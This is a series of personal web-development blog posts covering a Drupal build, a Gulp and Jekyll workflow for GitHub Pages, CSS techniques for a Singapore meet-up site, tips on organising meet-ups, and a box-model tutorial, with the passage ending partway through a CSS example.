Translation was a bit of a chore because there is no way (at least, that I know of) to ensure everything that needed to be translated was covered other than manual checking. So kudos to the project manager who had to do that. If you're interested in multi-lingual Drupal, I have an earlier post covering that, as well as a previous project write-up.

Site-building and theming

The site's requirements weren't over-the-top, so mostly different configurations of the views of various content types put together with panels. Additional helper modules like Better Exposed Filters and Field Collection were used for specific features.

For example, there was a requirement to have an accordion-style FAQ section, so rather than installing some module to create that, I utilised Field Collection to structure the mark-up in a way so I could write the accordion functionality myself.

// Accordion functionality
$(".field-collection-item-field-accordion-content").first().addClass("active");
$(".field-collection-item-field-accordion-content:not(.active)")
  .find(".field-name-field-accordion-body")
  .hide();
$(".field-name-field-accordion-title").click(function (e) {
  e.preventDefault();
  e.stopPropagation();
  if (!$(this).parent().parent().hasClass("active")) {
    $(".field-collection-item-field-accordion-content").removeClass("active");
    $(this).parent().parent().addClass("active");
    $(".field-collection-item-field-accordion-content")
      .find(".field-name-field-accordion-body")
      .slideUp();
    $(this).parent().next().children().slideDown();
  }
});

I know it's jQuery, but Drupal comes with it, so it's not like I can remove it. If it's there, I'm just going to use it. Don't judge me.

Designers seem to like this.

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Better Exposed Filters is one of those modules I wish was built into Views by default, because sometimes I do want fancier options for my filter UI, and this allows me to use radio buttons or checkboxes instead of the default select dropdown.

Impossible without BEF.

Also, checkout that nifty little arrow like triangle on the image. That's clip-path in action, folks! Yay to CSS. Just wanted to put that out there.

clip-path: polygon(0 0, 0 100%, 95% 100%, 95% 67%, 100% 50%, 95% 33%, 95% 0);

And if you want to have country flags next to your language switcher, the module you're looking for is Language Icons in addition to Language Switcher Dropdown. If you're not happy with the default set of icons, you can always add your own and point the module to use that set instead.

Language switching refreshes the page.

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Wrapping up

Okay, full disclosure, this case study was so long overdue that I pretty much forgot most of what I did already. Whatever is written here is what I could piece together from my fragmented memory and doing some view source investigation. Moral of the story is, don't put off writing your project case studies. Remember, memory is more like bread than wine.

Gulp, Jekyll and GitHub (pages)

Sun, 10 Apr 2016 00:00:00 GMT

After more than a year with Jekyll, I've settled into a workflow that allows me to spin up and develop new sites really quickly with the help of gulp. Normally my sites are project pages, because GitHub only allows one user/organisation page but unlimited project pages, but the setup process only differs slightly for the two. An additional step is needed to create an orphan gh-pages branch for project pages.

As an aside, I couldn't help but think of Snap, Crackle and Pop when writing the title for this post.

Snap, Crackle, Pop.

Gulp, Jekyll, GitHub.

What do you mean no link? Am I the only one who sees the connection? Oh, never mind. ¯\_(ツ)_/¯

Setting up the GitHub repository

This example will use SingaporeCSS as the organisation. Replace singaporecss with your own user name or organisation name.

Create a repository called singaporecss.github.io.
Open the terminal, navigate to the sites folder and clone the newly created repository.
```
git clone https://github.com/singaporecss/singaporecss.github.io
```
To test that the repository was set up correctly, navigate into the project folder and create a test index.html file.
```
cd singaporecss.github.io
echo "This be the Talk.CSS website" > index.html
```

Commit the file and push it up.

git add --all
git commit -m "Initial commit"
git push -u origin master

Navigate to http://singaporecss.github.io and check the page. Whatever was put in the index.html file should load up in the browser.

Something like this.

Now that things are linked up correctly, it's time to get building. The test index.html can be nuked now.

Creating the Jekyll site

Add a Gemfile to the root of the project folder which contains the following:
```
source 'https://rubygems.org'
gem 'github-pages'
```
This ensures that the local environment matches that of GitHub, minimising issues with different gem versions and so on.
Navigate into your project folder and run bundle install, which will install all the relevant gems GitHub pages needs
Spin up a new Jekyll site in the project folder. Note that the . indicates the current folder you're in.
```
jekyll new .
```

If you check the folder, it should have a bunch of files and folders, which look something like this:

PROJECT_FOLDER/
|-- _config.yml
|
|-- _includes/
|   |-- footer.html
|   |-- head.html
|   |-- header.html
|   |-- icon-github.html
|   |-- icon-twitter.html
|   |-- icon-github.svg
|   |-- icon-twitter.svg
|
|-- _layouts/
|   |-- default.html
|   |-- page.html
|   |-- post.html
|
|-- _posts/
|   |-- 2014-11-14-welcome-to-jekyll.markdown
|
|-- _sass/
|   |-- _base.scss
|   |-- _layout.scss
|   |-- _syntax-highlighting.scss
|
|-- css/
|   |-- main.scss
|
|-- index.html
|-- about.md
|-- .gitignore
|-- about.md
|-- feed.xml
`-- _config.yml

If you are that rare human being that read my earlier post on how I got started with Jekyll and GitHub Pages, you'll realise that the folder structure is different now. That's because Jekyll has been updated to v3.0.3 (as of time of writing).

At this point, you can do whatever you want because you already have all the files needed to start off building your site. And here's where my process kicks in.

The gulp-y bits

Remove all existing Sass files and replace with custom Sass starter files. If you want to use the existing Jekyll theme as a base to work off from, that's great too.

Copy over the package.json and gulpfile.js for Jekyll projects. Update the details like name and description as required. (I have a different set of these files depending on the type of project I'm building)

{
  "name": "singaporecss.github.io",
  "version": "1.0.0",
  "description": "Dependencies for Talk.CSS website",
  "main": "gulpfile.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/SingaporeCSS/singaporecss.github.io.git"
  },
  "author": "huijng <1461498+huijing@users.noreply.github.com>",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/SingaporeCSS/singaporecss.github.io/issues"
  },
  "homepage": "https://github.com/SingaporeCSS/singaporecss.github.io#readme",
  "devDependencies": {
    "browser-sync": "^2.11.2",
    "gulp": "^3.9.1",
    "gulp-autoprefixer": "^3.1.0",
    "gulp-concat": "^2.6.0",
    "gulp-cssnano": "^2.1.1",
    "gulp-sass": "^2.2.0",
    "gulp-uglify": "^1.5.3",
    "susy": "^2.2.12"
  }
}

Each task in the gulpfile.js has a specific function. These are the tasks I have in my Jekyll sites gulpfile.js.

Declare all the plugins required for the project at the top of the file.

var gulp = require('gulp');
var browserSync = require('browser-sync');
var sass = require('gulp-sass');
var prefix = require('gulp-autoprefixer');
var cssnano = require('gulp-cssnano');
var concat = require('gulp-concat');
var uglify = require('gulp-uglify');
var cp = require('child_process');&#10;

Add indicator messages for when build tasks are running (completely optional)

var messages = {
  jekyllDev: '<span style="color: grey">Running:</span> $ jekyll build for dev',
  jekyllProd: '<span style="color: grey">Running:</span> $ jekyll build for prod',
};

Build the Jekyll Site in development mode

gulp.task("jekyll-dev", function (done) {
  browserSync.notify(messages.jekyllDev);
  return cp
    .spawn("jekyll", ["build", "--drafts", "--config", "_config.yml,_config_dev.yml"], {
      stdio: "inherit",
    })
    .on("close", done);
});

Rebuild Jekyll & reload the page

gulp.task("jekyll-rebuild", ["jekyll-dev"], function () {
  browserSync.reload();
});

Wait for jekyll-dev task to complete, then launch the Server

gulp.task("browser-sync", ["sass", "scripts", "jekyll-dev"], function () {
  browserSync.init({
    server: "_site",
    port: 1234,
  });
});

Compile files from _scss folder into both _site/css folder (for live injecting) and site folder (for future Jekyll builds)

gulp.task("sass", function () {
  return gulp
    .src("_sass/styles.scss")
    .pipe(
      sass({
        includePaths: ["scss"],
        onError: browserSync.notify,
      })
    )
    .pipe(prefix(["last 15 versions", "> 1%", "ie 8", "ie 7"], { cascade: true }))
    .pipe(gulp.dest("_site/css"))
    .pipe(browserSync.reload({ stream: true }))
    .pipe(gulp.dest("css"));
});

Compile files from _js/lib folder into both _site/js folder (for live injecting) and site folder (for future Jekyll builds)

gulp.task("scripts", function () {
  return gulp
    .src(["_js/lib/*.js"])
    .pipe(concat("scripts.js"))
    .pipe(gulp.dest("_site/js"))
    .pipe(browserSync.reload({ stream: true }))
    .pipe(gulp.dest("js"));
});

Watch scss files for changes & recompile. Watch html/md files, run jekyll & reload BrowserSync

gulp.task("watch", function () {
  gulp.watch(["_sass/**/*.scss", "_sass/*.scss"], ["sass"]);
  gulp.watch(["_js/**/*.js"], ["scripts"]);
  gulp.watch(
    [
      "index.html",
      "_layouts/*.html",
      "_posts/*",
      "_includes/*.html",
      "_drafts/*",
      "**/*.html",
    ],
    ["jekyll-rebuild"]
  );
});

Build the Jekyll Site in production mode

gulp.task("jekyll-prod", function (done) {
  browserSync.notify(messages.jekyllProd);
  return cp.spawn("jekyll", ["build"], { stdio: "inherit" }).on("close", done);
});

Identical Sass compilation task to development mode, with an additional minification step thrown in using cssnano

gulp.task("sass-prod", function () {
  return gulp
    .src("_sass/styles.scss")
    .pipe(
      sass({
        includePaths: ["scss"],
        onError: browserSync.notify,
      })
    )
    .pipe(prefix(["last 15 versions", "> 1%", "ie 8", "ie 7"], { cascade: true }))
    .pipe(cssnano())
    .pipe(gulp.dest("_site/css"))
    .pipe(gulp.dest("css"));
});

Identical JavaScript compilation task to development mode, with an additional minification step thrown in using uglify

gulp.task("scripts-prod", function () {
  return gulp
    .src(["_js/lib/*.js"])
    .pipe(concat("scripts.js"))
    .pipe(uglify())
    .pipe(gulp.dest("_site/js"))
    .pipe(gulp.dest("js"));
});

Default task, running just gulp will compile the sass, compile the Jekyll site, launch BrowserSync & watch files.
```
gulp.task("default", ["browser-sync", "watch"]);
```
Build task, run using gulp build to compile Sass and JavaScript ready for deployment.
```
gulp.task("build", ["scripts-prod", "sass-prod", "jekyll-prod"]);
```

Run npm install to install all the required node modules, then run gulp to spin up the BrowserSync server and start building your site with the advantage of live reload whenever you save your working files. 😎

Disclaimer: I'm pretty sure lots of people have much better workflows that the one outlined above. I know someone who uses just npm scripts to do something similar. Unfortunately, I'm not at that level of ninja yet. But you'd like to suggest improvements, I'd love to hear them.

The one on the cutting edge

Thu, 31 Mar 2016 00:00:00 GMT

If you've been following along my latest exploits (though I doubt anyone is), you may know that I'm the co-organiser of Talk.CSS, the first CSS-centric meet-up group in Singapore. We've been in existence for around 5 months now and some time last month I thought it'd be a good idea to build a website for our little meet-up group.

Sort of a place where people can find out more about us, and check out what happened during our previous meet-ups. Okay fine, it was an excuse for me to build another website, but with the freedom to try all sorts of new technologies.

Since we're a CSS-centric meet-up, the website must have some CSS-related mojo going on, right? (Just kidding, no voodoo involved, just cool code). I'm one of those people who still uses an RSS feed reader. Between that and Twitter, I come across many interesting CSS articles every day. And this website turned out to be the perfect playground for me to try out a lot of the things I read about.

Basic stuff

I've become pretty fond of Jekyll to spin up simple websites these days. If you haven't heard of Jekyll before, it's just one of countless static site generators out there on the interwebs. Web trends ebb and flow, so maybe this static site generator craze will die out soon, but as long as it suits my requirements, who cares?

Anyway, if you're curious, StaticGen lists all the open-source static site generators out there by GitHub stars. So the site is built on Jekyll, and hosted on GitHub pages, because we're too poor for paid hosting. Nor did we have the funds to purchase a domain name. Life. ¯\_(ツ)_/¯

If you're interested in my Jekyll site workflow, check out this post which covers all the steps from setting up the repository to the gulp-run workflow.

I don't know about you, but I'm one of those people who can spend hours happily searching for a font that feels right. Abduzeedo's Friday Fresh Free Font segment has a lot of solid fonts. There are also those ever-so-popular listicle-style posts which feature new and noteworthy fonts.

I originally wanted to use Ahamono but the kerning didn't feel right on the body copy, and the stylised descenders looked a bit odd. I eventually settled for Hack.

Fun stuff

CSS variables

One of the articles I read and found fascinating was Why I'm Excited About Native CSS Variables by Philip Walton. Seriously, you should follow this man. But I digress, point is, I arbitrarily decided this site should use CSS variables, at least for colours. What could possibly go wrong? Thing is, I like having my colours in Sass maps. Hmmmm... How to get both to play nice?

Then I remembered another article I read: CSS4 variables and SASS by Jake Albaugh. The word awesome does not do this article enough justice. Based on that article, I simply had to tweak my existing colour function to look like this:

@function color($color-name) {
  @return var(--#{$color-name}-color, map-get($colours, $color-name));
}

My colours map didn't need to be touched but they would be used to generate my CSS colour variable declarations.

// Sass map for colours
$colours: (
  main: #1572b6,
  secondary: #33a9dc,
  border: #e8e8e8,
  shadow: rgba(0, 0, 0, 0.3),
  text: #110,
  bg: #fafaff,
);

// Loop to generate colour variables
:root {
  @each $name, $colour in $colours {
    --#{$name}-colour: $colour;
  }
}

CSS variables are not supported by Internet Explorer or Edge, and was only recently supported by Chrome (in 49) and Safari (in 9.1). So, fallbacks to the rescue. A simple map-get would suffice. Yes, it's extra code, but that's the trade-off when we play with the new and shiny.

background-color: map-get($colours, bg);
background-color: color(bg);
color: map-get($colours, text);
color: color(text);

Unfortunately, I couldn't solve the issue with using Sass colour functions, as they still do not recognise my CSS variables as colours. Since that was the case, I tossed the plan to use darken as my hover effect on links.

Font-weight on hover trick

Instead I used a technique I recently learned from reading Quick Tip: Fixing the font-weight Problem on Hover States by George Martsoukos. The article suggested using the text-shadow property to simulate the effect of increasing the font-weight on hover, and I think it works fairly well.

a {
  color: map-get($colours, main);
  color: color(main);
  transition: all 0.2s;

  :hover {
    text-shadow: 0 0 0.35px map-get($colours, main), 0 0 0.35px map-get($colours, main);
    text-shadow: 0 0 0.35px color(main), 0 0 0.35px color(main);
  }
}

Chromatic font

Earlier in March, Roel Nieskens released Bixa Color, the first chromatic webfont as a collaboration with Novo Typo. Ever since I heard Chris Lilley (another man you really should follow) talk about webfonts at CSSConf.Asia last year, I was intrigued by the concept of chromatic fonts. Bixa Color is definitely a display font, so I just used it for the site title. Right now it's only viewable on Firefox, but the built-in fallback (black) works on every other browser.

For the benefit of people without Firefox.

Flexbox

This site is not complicated. I could probably get away with almost no layout at all, but some things still need to fall in line. Might as well throw in some flexbox, right? TL:DR is, flexbox plus media queries = win! 😎

Look at those beautiful faces.

.o-flex {
  display: flex;
  flex-flow: row wrap;
  justify-content: space-between;
}

.o-flex3__item {
  flex: 0 0 100%;

  @include mappy-bp(small medium) {
    flex: 0 0 span(6 of 12);
  }

  @include mappy-bp(medium) {
    flex: 0 0 span(4 of 12);
  }
}

Styling broken images

Another article that was making the rounds was an article by brilliant Nigerian developer Ire Aderinokun, who writes a blog called bitsofcode. It covered the technique of styling broken images by making use of pseudo-elements :before and :after and how they work with the <img> element.

First point, we can style the alternative text by applying typography-related properties to the <img> element. Also, the <img> element is a replaced element. Remember the src attribute? The image's appearance and dimensions are controlled by an external source, hence pseudo-elements will not apply when the image is loaded. But when the image is broken, it's not loaded, so pseudo-elements can be rendered.

So you screwed up and broke your images. Pre-emptive styling ftw!

.c-video__img {
  display: block;
  line-height: 1.5;
  min-height: 9em;
  position: relative;
  width: 100%;
  @include mappy-bp(medium) {
    display: inline-block;
    vertical-align: top;
    width: 16em;
  }

  &::before {
    content: "";
    display: block;
    min-height: 9em;
  }

  &::after {
    content: attr(alt) ", image WIP, click to watch video";
    display: block;
    padding: 0.5em 1em;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: map-get($colours, secondary);
    background-color: color(secondary);
  }
}

Wrapping up

This was a really fun project because I got to play with all the new and shiny stuff, as well as try out interesting techniques all these rockstar developers came up with. Organising Talk.CSS has been a pretty fruitful experience thus far. We're still learning as we go, and hopefully we can continue to grow interest for CSS amongst the Singapore developer community moving forward.

Thoughts about organising Talk.CSS

Mon, 29 Feb 2016 00:00:00 GMT

As I write this, we are on the cusp of our third Talk.CSS meet-up. Talk.CSS is Singapore's first CSS-centric meet-up and was born on a random Wednesday afternoon (October 26, 2015 to be exact) in our local digital watering hole, the KopiJS slack channel.

Within the short span of four hours, we had a GitHub organisation, a Meetup.com account, a logo and a venue for the inaugural Talk.CSS session. Anyone who knows me knows that I love CSS. Love with infinite ❤️❤️❤️s. So when Chris Lienert asked if I wanted to be a co-organiser for the first local CSS-centric meet-up, I said yes without a second thought.

Stay a while and listen...

+20 to you if you caught the reference. I've been writing HTML and CSS for around two and half years now, and JavaScript for about a year. The general sentiment among the developers I've met with regards to CSS is either indifference, or mild annoyance.

Front-end development covers a very wide spectrum. There are those JavaScript wizards who create web applications in their sleep, there are those who create HTML and CSS prototypes as fast as designers can in Photoshop.

My web development journey began at a very opportune time, it was the time when CSS had become robust enough to do a lot of things that weren't possible before without using JavaScript. I picked up all my web development skills working on client projects, which was a good thing, because it forced me to really get things right because these were paying customers. HTML and CSS was something that came very naturally to me, but JavaScript was harder for me to grasp.

As such, if I could build something in pure CSS (even if it was faster to do so using JavaScript), I would. Tabs? Sure. Accordions? No problem. I learnt about sibling and direct-child selectors. The difference between visibility and display: none. All sorts of interesting CSS techniques that I would otherwise have missed out on, had I just did it the JavaScript way. Yes, my JavaScript skills took a hit, but at least my CSS got really good, really fast.

In comparison to JavaScript, CSS isn't as popular a topic of discussion, at least amongst the local web development community. I find that HTML and CSS tend to be regarded as "not a programming language". This lack of respect seems to stem from the fact that they are declarative languages. They tell the computer what to do, as opposed to how to do it. But this topic tends to trigger a lot of debate, so take this as a personal opinion and leave it at that.

Lessons learnt from being an organiser

You don't truly appreciate how much effort goes into organising a regular meet-up until you become an organiser yourself. Okay, it's not an overly complicated affair, but it is a responsibility and a commitment, especially if you plan for the meet-up to be recurring.

People don't notice announcements, they notice consistency

The above is a quote from Sean McCabe, who puts out a really good podcast on how to make a living doing the things you love. I suggest you listen to episode 66: Growing Your Audience Through the Power of Consistency. He highlighted that regularity of good content is what builds up an audience. This is something that applies to organising meet-ups as well. But being consistent takes work.

If the format of your meet-up is like ours, which is a talk-based format, where speakers get a set amount of time to present on a topic of their choice, then the quality of your content is dependent on your speakers. For speakers to come up with good content, they need time to prepare. They can only have time to prepare if they know in advance when the meet-up will take place. You can't have a meet-up without a venue either, and venues will also need to know in advance the date of your meet-up.

So the point is, decide on the frequency of your meet-up, then just pick a day. The cool part about the Singapore tech community is that we have very passionate people like Michael Cheng and Sayanee Basu who make it a point to grow this community, through resources like Engineers.SG and webuild.sg. So we now have a formula if you want to organise your own tech meet-up.

Update (@ 29 Feb 2016): Added in a few more points as suggested by Sayanee.
Update (@ 21 Mar 2019): In August 2018, webuild.sg merged with Engineers.sg so this section is now obsolete. Please head over to Engineers.sg's events page for news on upcoming meetups.

Go to https://web.archive.org/web/20180422095346/https://data.webuild.sg/ or https://webuildsg.github.io/data/.
Check the relevant date data, like events by day of week and events per week of month.
Subscribe to the open events calendar so you can see the schedule of all upcoming events.
Based on your findings from step #2 and #3, determine the best day for your own meet-up.
Note: it will be very challenging to find a day that doesn't clash with another meet-up, so try to not to schedule on the same day as a meet-up which shares the same audience as yours.
If you already have a venue, great! If not, refer to the list of events by location. Contact the organisers of past meet-ups to ask for venue contacts. (You may have to zoom in the map, Singapore isn't very big ¯\_(ツ)_/¯)
Check the event duration data to help you decide how long your meet-up should be. Ideally, we'd like to have things wrap up within 2 hours so people can hang out AFTER the meet-up. Tired people tend to go home immediately after the meet-up 😭.

More Gardenia than Cactus

For people who don't care for gardening, Gardenia plants have these glossy green leaves and beautiful scented waxy white flowers. They are also very high maintenance, requiring specific growing conditions and lots of tender loving care. Cacti, on the other hand, can put up with quite a lot of neglect before dying on you (Don't be that guy, take care of your plants!).

This be a Gardenia plant

And this be Cacti

Meet-ups are like Gardenias. In order to have consistency, it's best to have a backlog of venues lined up for the next two months, just to be safe. Speaking from experience, it's possible to slap together an event in a couple of days, BUT it's highly stressful for everyone involved and the odds that you'll have to postpone your event becomes exponentially higher.

Start contacting potential hosts as early as you can, so they too can have more time to arrange things. Remember, they are doing you a big favour by offering to host your event. So standard life principles apply: don't be a dick.

Always be polite and appreciative.
Nobody owes you any favours so if they can't host you, say your thanks anyway and move on.
Provide the necessary information about your meet-up so it's easier for them to arrange things.
- Number of attendees
- Date of event
- Time of event
- Format of event
- Equipment necessary

Always be prepared to be the swing

In theatre, an understudy is the actor who learns all the lines, dances and songs of the lead, and steps in to take over if the lead were to fall ill or be unable to perform for the night. On Broadway, there are special understudies known as 'swings', who knows several different roles and can be called on to step in whenever needed.

This is not the swing you're looking for

Things may not go according to plan, and your speakers may be sick or unavailable. I like to have at least a couple topics in my back pocket to do an impromptu talk to fill in the extra time, so the attendees aren't being short-changed. Or have some other contingency plan, like maybe a quiz or a mini-hack session or something.

The point is, time is the most valuable thing someone can give you. Your attendees could be anywhere else but they chose to spend their time on your event, so be accountable and make sure their time spent with you is time well spent.

Wrapping up

If there's a technology you're interested in but can't find a meet-up for it, why not organise one yourself? The more meet-ups we organise, the more opportunities we have to connect with like-minded people, share our knowledge and learn new things along the way.

Besides, preparing and giving a talk is actually a great way to gain a better understanding of the technology you're talking about. More meet-ups means more developers get the chance to speak, which in itself is a pretty valuable experience.

Useful links

Engineers.SG - videos of all the tech meet-ups in Singapore
webuild.sg - curated list of meet-ups and open-source projects in Singapore
Hackerspace.SG - the Singapore hacker community’s home, living room and laboratory
KopiJS - a casual meetup for developers and designers in Singapore
SingaporeJS - our JavaScript counterpart

Credits: OG:image by Je Hyung Lee

The one where I grok MVC

Fri, 19 Feb 2016 03:00:00 GMT

Earlier this year, I mentioned that I was starting out with the Kohana framework. Actually, my team uses a heavily modified version of the Kohana framework as a starter for all our projects.

In addition to the Kohana base architecture, our framework had a bunch of goodies built in, like lazy-loading, a run-time Sass compiler and so on. But I digress. We had been tasked to build the website for Audi's SG50 Time Machine campaign.

Building the website

The front-facing site itself wasn't too complicated. And this was the first project I kick-started, i.e. clone the framework, set it up and configure it etc. And hence came the post Introduction to the Base Framework. It contains my noob explanation of MVC as well as covers how Base Framework (a modified version of Kohana) is used by front-end developers (me, actually 🤓).

The bulk of the content was on the home page itself, with some sub-pages for additional secondary information. It was going to be a (in my own words) a pseudo-single page website. There would be four sections, the introduction, a map of the event, an accompanying video and a registration form.

The navigation links would be a combination of anchor links that scrolled down to each respective position, as well as links to the aforementioned sub-pages. Probably not the best design pattern around, but, circumstances.

Introduction section

Our designers came up with the idea to have the background transform from modern day back to 1965, in line with the "back-in-time" theme. My initial idea was very simple, just two images, with the modern day version superimposed on the 1965 version, and animating the opacity to fade out. If you read my post about diamond grids, you'll realise that my initial simple ideas don't fly very well with designers. ¯\_(ツ)_/¯

Simple is sometimes not good enough. Life.

See the Pen Background fade demo by Chen Hui Jing (@huijing) on{" "} CodePen.

Turns out the requirement is for the scene to gradually transition back to the past, with different buildings and details fading out one by one. Did I mention the site is supposed to be responsive? After going through the over-engineering thought process of slicing each building and positioning them absolutely, then applying the fade-out effect with animation delays... Okay, it sounds ridiculous now I put it into words. I settled on making it a background video instead.

So the key now was to optimise the **bleep** out of that video. I used a program called Handbrake, which provides some presets for web-optimisation already. After tweaking the frame-rate and some back-and-forth with the designer in terms of discernible quality issues, I managed to get the file size down to 1.1mb (I know that's still huge, and it still makes me 😭).

One of my favourite web tutorial sites, thenewcode.com by Dudley Storey had an article on full screen background videos, which I highly suggest you read. In fact, read all you can from that site, immediate skills level-up.

Navigation

The navigation looks sinisterly simple at first glance, but from a code stand-point, it is anything but straightforward. In fact, it warranted its own blog post of more than 2000 words.

Feel free to skip to that post and experience the trials and tribulations of someone trying to comprehend the CSS box model.

Simple is not easy.

Full page scrolling

Now I'm pretty opinionated about scroll-jacking. My opinion is just don't. The design team was pretty adamant about implementing a full page scroll though. My next best option was to provide both a full-page scroll trigger but still allowing users to scroll as per normal. Civility and compromise are the keys to a lasting relationship, people.

Seriously, IMHO, designers and developers should be best of friends. I didn't have the time or technical skill to write a full-page scroll plugin on my own so I chose to use fullPage.js by Álvaro Trigo, which had the option of keeping native scroll behaviour in addition to full page scrolling.

My designer wanted to have some sort of animation on the scroll trigger and tried to give me a GIF file of what she wanted. Me being me, I couldn't just take the GIF and use it, like a normal person. No no no. I told her I'd make an SVG and animate it, and we wouldn't have to worry about pixelation! She gave a look like 🙄 and told me to knock myself out.

It was a good thing the design was reasonably simple. But I'm barely an intermediate vector wrangler, so creating the vector file itself took a bit longer than I initially expected. After a couple iterations of tweaking timings and keyframes in Codepen, I got it to look presentable.

See the Pen Animated scroll-down icon by Chen Hui Jing (@huijing) on{" "} CodePen.

The scroll icon shouldn't be displayed when the page scrolled down to the last section, so it needed to be hidden. I could handle that function just fine.

function detectScroll() {
  var scrollPos = $(window).scrollTop() + $(window).height();
  var scrollHeight = $(document).height();
  $("#fpScroll").addClass("transparent");
  clearTimeout($.data(this, "scrollTimer"));
  if (scrollHeight - scrollPos > 800) {
    $.data(
      this,
      "scrollTimer",
      setTimeout(function () {
        $("#fpScroll").removeClass("transparent");
      }, 250)
    );
  }
}

Fixed background performance

The background image was fixed to give some semi-parallax kind of effect. But I remembered reading an article about how that impacted scrolling performance. Turns out the background-attachment: fixed triggers a paint operation during scrolling, because the browser needs to recalculate the fixed background image's location relative to the DOM elements around it.

The solution is to make use of a pseudo-element and the will-change property to indicate to the browser that my fixed background ought to be rendered in its own layer. I've linked the article below and highly recommend you read it.

Wrapping up

This was definitely not the most technically challenging project I worked on, but as with most agency projects, technical issues are usually not the major pain points. The campaign did win the agency a bunch of awards, so that's always good. It's also good to be constantly reminded that writing good code is only part of what contributes to a project's success. There are many non-technical factors that play a key role as well.

Understanding the box model by building a navigation bar

Fri, 19 Feb 2016 00:00:00 GMT

Working in an agency means that most of the work I do is project-based. This means building a new design every couple of months (or less, if you know what I mean). The interesting part is, after a while, I discover each designer's style and preferences.

An example would be the navigation UI, I had three consecutive projects where the navigation UI had a similar style. This particular element stood out to me, not only because I'd seen it twice before, but because I found that it touched almost every aspect of the box model.

"So the navigation needs to look like this"

That's a phrase most of us hear pretty often. I'll be honest, the first time I saw this design, I thought to myself, it looks simple enough. No, brain. Wrong conclusion ಠ_ಠ.

Minimalism is in, I suppose

Let's break the requirements down piece by piece.

Each link should be delimited by a vertical line, with equal space on both the right and left. The first and last links should NOT have these delimiters on their left and right, respectively.
The delimiter should be the same height as the text.
The text on the link should have an underline applied upon hover, but there should be some breathing space between the text and the underline.
Hover effects apply to individual links only.
The entire link box should be clickable, and the hover effect should kick in once the cursor enters the link box.
The active state of each link should be the same as when the link is hovered.

I'm going to step through my actual thought process, which is essentially my box-model journey. If you just want the end result, skip right to it. But in the words of Arthur Ashe (what can I say, I'm an athlete too ¯\_(ツ)_/¯):

Success is a journey not a destination. The doing is usually more important than the outcome. - Arthur Ashe

Step 1: Basic bare-bones mark-up and styles

Let's start off with the most basic mark-up, an unordered list in a nav element, with the text of each link wrapped in an a tag.

<nav>
  <ul>
    <li><a href="javascript:void(0)">Link 1</a></li>
    <li><a href="javascript:void(0)">Link 2</a></li>
    <li><a href="javascript:void(0)">Link 3</a></li>
    <li><a href="javascript:void(0)">Link 4</a></li>
  </ul>
</nav>

Then, apply some simple CSS to get the list in a horizontal configuration.

li {
  display: inline-block;
}

Bare-bones navigation bar

Step 2: Style the navigation to match design (Attempt 1)

This is the step with oh-so-many variations. There are loads of ways to get the navigation to look like the design, given the number of elements available to work with. I started off just putting in fonts, colours, and some padding.

nav {
  font-family: "Slim Jim", "Impact", "Arial Black", sans-serif;
  background: black;
}
li {
  display: inline-block;
  padding: 1rem; /* not such a good idea */
  border-left: 1px solid white; /* neither is this */
  &:first-child {
    border-left: none;
  }
}
a {
  color: white;
  text-decoration: none;
  &:hover {
    border-bottom: 2px solid white;
  }
}

That code will give you something like this, which somehow, doesn't fit the bill. Also, the underline only appears when you hover over the text, not the entire link box. (╯°□°）╯︵ ┻━┻

Something doesn't look quite right here.

Interlude: Learn the box model, padawan

If you think about it, web pages are just content in boxes, but laid out in a myriad of patterns and designs. Browsers render these boxes based on the properties we give them. Each box is described to the browser based on the box model, which determines how much a space a box takes up on the page.

The model is made up of four boxes, from inside to outside:

Content
Padding
Border
Margin

The box model, visualised

Content

This area encompasses the actual content of the element, the text, background, image(s) and so on. It stops at the content edge. Referring to the above diagram, it's everything in the blue box.

Padding

Padding extends to the padding edge. Any content in the content area (like background or an image) will extend into the padding. The amount padding between the content area and the padding edge is controlled via the padding property. Refer to the green area in the diagram above.

Border

Border extends to the border edge. By default, backgrounds extend underneath the border area. The thickness of the border is controlled by the border property. Refer to the yellow area in the diagram above.

Margin

Margin extends to the margin edge. However, it is an "empty" area that separates the elements its neighbouring elements. The space the margin takes up is controlled via the margin property. There is one particular behaviour of margins that we need to take note of. It's called margin collapsing.

This happens when margins of adjacent block elements combine into a single margin, which takes the larger value of the two. This phenomena only occurs vertically, which means for margin-top and margin-bottom. Horizontal margins ( margin-left and margin-right ) never collapse. Here are some common scenarios where margins collapse.

Adjacent block elements

We start off with 2 block elements stacked on top on each other.

<div class="block1"></div>
<div class="block2"></div>

.block1 {
  width: 300px;
  height: 100px;
  background: lawngreen;
}
.block2 {
  width: 300px;
  height: 100px;
  background: orange;
}

Given they have no margins, they will look something like this:

2 block elements on top of each other.

Now, let's add some margin to the bottom and top of the first and second element respectively.

.block1 {
  width: 300px;
  height: 100px;
  background: lawngreen;
  margin-bottom: 2rem;
}
.block2 {
  width: 300px;
  height: 100px;
  background: orange;
  margin-top: 1rem;
}

If the first element has a margin-bottom of 2 rem, and the second element has a margin-top of 1 rem, the resultant margin between them will be 2 rem. You can think of it as the smaller margin (that of the second element) having collapsed.

Margin collapses to 2 rem

In the event of negative margins, the sum of the positive and negative margins will be the resultant value. E.g. if the top element has a margin-bottom of 2 rem and the bottom element has a margin-top of -1 rem, the resultant margin will be 1 rem.

Parent/child elements

Margin collapse also occurs when both the parent and child elements have vertical margins that touch. Take a look at this code:

.block2 {
  width: 300px;
  height: 100px;
  background: orange;
  margin-top: 2rem;
}
.block2-1 {
  width: 268px;
  height: 50px;
  background: yellow;
  margin-top: 1rem;
}

You'd think that the margin between .block1 and .block2 will be 2 rem and there will be a margin of 1 rem between the edge of .block2 and the top of .block2-1, right? Nope. The margins collapse into one combined margin, which again, takes the larger of the 2 values.

Again, the margin of .block2-1 is collapsed

If there was no margin on .block2, and a margin-top of 1 rem on the child element .block2-1, then the space between .block1 and .block2 is 1 rem.

.block2 {
  width: 300px;
  height: 100px;
  background: orange;
  margin-top: 0;
}
.block2-1 {
  width: 268px;
  height: 50px;
  background: yellow;
  margin-top: 1rem;
}

Margin of inner div .block2-1 becomes the margin of .block2

If you don't want margins to collapse between parent and child elements, you'll have to prevent their margins to coming in contact with each other. We can do that by adding padding or a border. Assume box-sizing has been set to border-box.

.block2 {
  width: 300px;
